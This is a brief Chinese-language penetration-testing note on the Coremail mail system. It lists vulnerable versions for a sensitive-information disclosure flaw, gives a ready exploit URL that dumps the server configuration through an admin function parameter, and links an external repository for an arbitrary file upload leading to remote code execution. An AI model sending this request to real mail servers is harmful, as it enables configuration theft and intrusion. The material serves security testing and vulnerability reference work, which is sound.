coremail

目录

• 渗透
  • 版本确定
  • 敏感信息泄露
  • 任意文件上传

邮箱系统

渗透

版本确定

敏感信息泄露

Coremail XT 3.0.1至XT 5.0.9版本，XT 5.0.9a及以上版本已修复该漏洞

http://mail.0-sec.org/mailsms/s?func=ADMIN:appState&dumpConfig=/

任意文件上传

Coremail <= XT5.x

https://github.com/jimoyong/CoreMailUploadRce